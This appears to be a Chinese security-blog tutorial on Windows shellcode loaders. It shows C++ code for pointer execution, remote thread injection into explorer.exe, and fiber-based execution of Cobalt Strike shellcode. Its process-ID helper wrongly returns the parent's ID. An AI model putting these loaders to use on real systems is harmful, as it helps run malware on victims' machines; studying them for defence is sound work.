简述几种shellCodeLoader
Neko205 发表于 福建 二进制安全 815浏览 · 2024-10-15 03:40

shellcode执行

之前聊了聊shellcode的基础,windows与linux原理相同,方便起见直接使用cs生成

指针执行

将shellcode存储与数组,并取数组地址,将地址转换为void无参数函数指针,并去执行,代码如下

#include <iostream>
#include <Windows.h>

// 指定链接器选项,修改.data段为可读、可写、可执行
#pragma comment(linker, "/section:.data,RWE")

// shellcode
unsigned char hexData[990] =
{
};

int main()
{
    // 将hexData转换为函数指针并执行
    ((void(*)(void)) & hexData)();

    return 0;
}

这也是网上很多shellcodeloader教程给出的第一个最基础的loader ,但其实是有问题的,当代的windows都有一个叫做DEP数据执行保护的安全机制,在编写此类的loader时需要手动修改他,可以使用VirtualProtect

BOOL VirtualProtect(
  LPVOID lpAddress,          // 指向要修改的内存区域的起始地址
  SIZE_T dwSize,             // 需要修改的内存区域大小,以字节为单位
  DWORD flNewProtect,        // 新的保护属性(如只读、读写、可执行等)
  PDWORD lpflOldProtect      // 保存旧的保护属性的指针
);
int main()
{
    VirtualProtect(hexData, sizeof(hexData), PAGE_EXECUTE_READWRITE, NULL);
    // 将hexData转换为函数指针并执行
    ((void(*)(void)) & hexData)();

    return 0;
}

远程线程注入

简单理解,在已存在的进程中创建一个空间运行注入shellcode的内存空间

大体上可以分为两步,获得进程的id,写入线程shell

CreateToolhelp32Snapshot

函数原型:

HANDLE WINAPI CreateToolhelp32Snapshot(
  _In_ DWORD dwFlags, /*这个参数指定了要创建的快照类型*/
/*允许以下值
TH32CS_SNAPALL:创建一个包含所有进程、线程、堆和模块的快照。
TH32CS_SNAPPROCESS:创建一个只包含进程的快照。
TH32CS_SNAPTHREAD:创建一个只包含线程的快照。
TH32CS_SNAPHEAPLIST:创建一个只包含指定进程的堆的快照。
TH32CS_SNAPMODULE:创建一个只包含指定进程的模块的快照。
TH32CS_INHERIT:快照句柄可以被子进程继承。*/
  _In_ DWORD th32ProcessID /*指定要快照的进程的ID*/
);
DWORD findProessId(const wchar_t* targetProessName) {
    // 拉取进程镜像
    HANDLE hShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //创建一个只包含进程的快照。

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);

    //遍历
    if (Process32First(hShot, &pe)) { // 获取第一条
        do
        {
            if (wcscmp(pe.szExeFile,targetProessName) == 0){ //比较可执行文件名
                CloseHandle(hShot);
                return pe.th32ParentProcessID;
            }
        } while (Process32Next(hShot,&pe));//获取下一条,如果没有跳出循环

    }
}

OpenProcess

WindowsApi的函数,用于打开一个已经存在的进程,并返回一个可供操作的句柄

函数原型:

HANDLE OpenProcess(
  DWORD dwDesiredAccess, //希望获得的访问权限,可以多个组合
  BOOL bInheritHandle, //如果指定为true,则任何又这个进程创建的子进程都将继承句柄false则不继承
  DWORD dwProcessId //指定要打开进程的pid
);

VirtualAllocEx

VirtualAllocEx函数用于在进程的虚拟地址空间中修改内存状态,这里用它来分配内存,函数原型是这样的

LPVOID VirtualAllocEx(
  HANDLE hProcess, //前一个openprocess获得的句柄
  LPVOID lpAddress, //要分配的内存区域基址,可以为NULL
  SIZE_T dwSize, //大小
  DWORD  flAllocationType, //内存分配类型
  DWORD  flProtect //内存区域访问保护类型
);

参数说明:

  • hProcess:指定进程的句柄。这个句柄必须拥有 PROCESS_VM_OPERATION 的访问权限。

  • lpAddress:指定要分配的内存区域的基址。如果此值为 NULL,则系统会为内存区域选择一个基址。

  • dwSize:指定要分配的内存区域的大小(字节为单位)。大小必须为页面大小的整数倍。

  • flAllocationType

    :指定内存分配类型,可以是以下值的组合:

    • MEM_COMMIT:提交内存区域,使其成为调用进程的可访问内存。
    • MEM_RESERVE:保留内存区域,为其保留虚拟地址空间,但不分配物理存储。
    • MEM_RESET:指示在内存中由 lpAddressdwSize 参数指定的数据无效。
    • MEM_TOP_DOWN:在尽可能高的地址上分配内存。
    • MEM_WRITE_WATCH:必须与 MEM_RESERVE 一起指定,使系统跟踪那些被写入分配区域的页面。
    • MEM_PHYSICAL:分配物理内存(仅用于地址窗口扩展内存)。
  • flProtect

    :指定内存区域的访问保护类型,可以是以下值的组合:

    • PAGE_EXECUTE:可执行。
    • PAGE_EXECUTE_READ:可读可执行。
    • PAGE_EXECUTE_READWRITE:可读写可执行。
    • PAGE_EXECUTE_WRITECOPY:可读写可执行(写时复制)。
    • PAGE_NOACCESS:不可访问。
    • PAGE_READONLY:只读。
    • PAGE_READWRITE:可读写。
    • PAGE_WRITECOPY:可读写(写时复制)。

返回值:

  • 如果函数成功,则返回值是页面分配区域的基址。
  • 如果函数失败,则返回值是 NULL。要获取扩展的错误信息调用 GetLastError

WriteProcessMemory

WriteProcessMemory函数,其作用是将数据写入另一进程的内存空间的函数

函数原型

BOOL WriteProcessMemory(
  HANDLE  hProcess, //句柄
  LPVOID  lpBaseAddress, //基址
  LPCVOID lpBuffer, //源缓冲区指针
  SIZE_T  nSize, //要写入的大小(字节单位)
  SIZE_T *lpNumberOfBytesWritten //指针,用于接受实际写入的字节数
);

如果函数成功返回非零,反之为零

CreateRemoteThread

CreateRemoteThread函数,用于在另一进程的虚拟地址空间创建一个线程

函数原型:

HANDLE CreateRemoteThread(
  HANDLE hProcess, //句柄
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性 可以是NULL
  SIZE_T dwStackSize, //线程栈的大小 如果是0则使用可执行文件的预设大小
  LPTHREAD_START_ROUTINE lpStartAddress, //指向线程的函数的指针
  LPVOID lpParameter, //传递给线程函数的参数
  DWORD dwCreationFlags, //控制线程创建标志
  LPDWORD lpThreadId //指向接收线程标识符的变量
);

返回值:

  • 如果函数成功,返回值是新线程的句柄。
  • 如果函数失败,返回值为 NULL

具体代码

HANDLE openPr = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proessId);
    if (openPr == NULL) {
        std::cerr << proessId << "打开进程失败" << std::endl;
    }

    //在虚拟地址中分配内存
    LPVOID mec = VirtualAllocEx(openPr, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 大小shellcode决定 权限分配 可访问内存 保留内存区域 可读可写可执行
    if (mec == NULL) {
        std::cerr << "内存分配失败" << std::endl;
    }

    //写入目标
    SIZE_T bytes;
    if (!WriteProcessMemory(openPr,mec,shellcode,sizeof(shellcode),&bytes) || bytes != sizeof(shellcode)){ // 写入内存
        std::cerr << "写入失败" << std::endl;

    }
    HANDLE hThread = CreateRemoteThread(openPr, NULL, 0, (LPTHREAD_START_ROUTINE)mec, NULL, 0, NULL);
    if (hThread == NULL) {
        std::cerr << "创建线程失败" << std::endl;
    }

    return 0;

如果都正确,最终效果应该是这样的,注入成功后上线自动退出

精简后核心代码其实就是这几条

int main() {
    const wchar_t* targetProcessName = L"explorer.exe";
    DWORD proessId = findProessId(targetProcessName);
    std::cout << proessId;
    HANDLE openPr = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proessId);
    LPVOID mec = VirtualAllocEx(openPr, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 大小shellcode决定 权限分配 可访问内存 保留内存区域 可读可写可执行
    SIZE_T bytes;
    WriteProcessMemory(openPr, mec, shellcode, sizeof(shellcode), &bytes);
    HANDLE hThread = CreateRemoteThread(openPr, NULL, 0, (LPTHREAD_START_ROUTINE)mec, NULL, 0, NULL);
    return 0;

纤程执行

之前完全没接触过的名词,根据wiki与gpt的解释是纤程是用户级的轻量级并发单元,与线程不同不依赖操作系统进行调度,由应用程序管理

核心代码是

DWORD oldProtect;
  VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

  // 将当前线程转换为纤程(轻量级线程)
  ConvertThreadToFiber(NULL);

  // 创建一个纤程对象,关联到shellcode作为纤程入口点,使用默认栈大小和无标志位
  void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);

  // 切换到新创建的纤程,开始执行shellcode
  SwitchToFiber(shellcodeFiber);

  // shellcode执行完毕后,删除纤程对象
  DeleteFiber(shellcodeFiber);

其中会用到五个函数,VirtualProtect就略过了

ConvertThreadToFiber

ConvertThreadToFiber 函数的作用是将当前的线程转化为纤程,当他执行的时就直接转换了

函数原型:

PVOID ConvertThreadToFiber(PVOID pFiber); // 传入NULL就是将当前线程进行转化

CreateFiber

CreateFiber函数作用是允许手动创建纤程

函数原型:

PVOID CreateFiber(
  SIZE_T dwStackSize, //纤程栈大小
  LPFIBER_START_ROUTINE pFiberProc, //指向函数的指针
  PVOID pParameter //参数指针
);

参考文献

  1. 指针执行

    https://learn.microsoft.com/zh-cn/windows/win32/memory/data-execution-prevention

    https://xz.aliyun.com/t/13855

  2. 远程线程注入

    https://learn.microsoft.com/zh-tw/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

    https://learn.microsoft.com/zh-tw/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

    https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory

    https://www.cnblogs.com/lfls128/p/4929766.html

    https://blog.csdn.net/swartz_lubel/article/details/80295997

  3. 纤程执行

    https://en.wikipedia.org/wiki/Fiber_(computer_science)

    https://www.henry-blog.life/henry-blog/shellcode-jia-zai-qi/chuang-jian-xian-cheng-jia-zai

0 条评论
某人
表情
可输入 255